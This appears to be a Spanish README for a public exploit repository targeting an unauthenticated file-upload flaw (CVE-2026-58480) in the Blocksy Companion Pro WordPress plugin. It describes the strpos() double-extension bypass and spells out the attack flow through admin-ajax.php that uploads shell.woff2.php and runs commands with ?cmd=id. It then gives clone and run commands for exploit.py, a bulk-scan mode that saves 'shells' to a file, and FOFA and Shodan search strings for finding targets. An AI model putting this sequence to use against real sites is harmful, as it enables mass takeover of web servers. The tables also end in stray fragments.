
CVE-2026-58480 / CVE-2026-15158 — RCE no autenticado en Blocksy Companion Pro < 2.1.47 (más de 300K instalaciones). Subida arbitraria de archivos sin autenticación previa mediante bypass de doble extensión.
CVE-2026-58480 (también registrada como CVE-2026-15158) es una vulnerabilidad crítica (CVSS 9.8) de subida arbitraria de archivos sin autenticación en Blocksy Companion Pro < 2.1.47, el complemento premium del tema Blocksy de WordPress (más de 300 000 instalaciones activas).
El manejador AJAX save_attachments de la función Advanced Reviews (parte de WooCommerce Extra) acepta subidas de archivos sin autenticación. La extensión Custom Fonts valida las subidas mediante una comprobación de subcadena strpos() para .woff2 / .ttf, no la extensión real del archivo. Los atacantes eluden esta validación con nombres de archivo de doble extensión como shell.woff2.php: .woff2 cumple la comprobación de subcadena, .php se ejecuta en el servidor.
| Versión | Estado |
|---|---|
| < 2.1.47 | Vulnerable |
| 2.1.47+ | Corregida |
Requisitos: Licencia premium con las extensiones WooCommerce Extra (Advanced Reviews) y Custom Fonts activas. El plugin gratuito
blocksy-companionno contiene las rutas de código vulnerables.
La extensión Custom Fonts registra un filtro wp_check_filetype_and_ext que valida los nombres de archivo usando strpos() — una coincidencia de subcadena — en lugar de comprobar la extensión real del archivo mediante PATHINFO_EXTENSION:
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
La función save_attachments de Advanced Reviews utiliza el manejo estándar de subidas de WordPress, que invoca este filtro. Un archivo llamado shell.woff2.php pasa la validación porque .woff2 existe como subcadena — el filtro NO verifica que sea la extensión final.
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data
| Archivo (Trac) | Línea | Propósito |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | Filtro de validación strpos() |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit
python exploit.py -u https://target.com
# Bulk scan
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_extEste exploit se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. No lo utilices contra sistemas sin el permiso explícito del propietario.
| 811 |
Manejador save_attachments |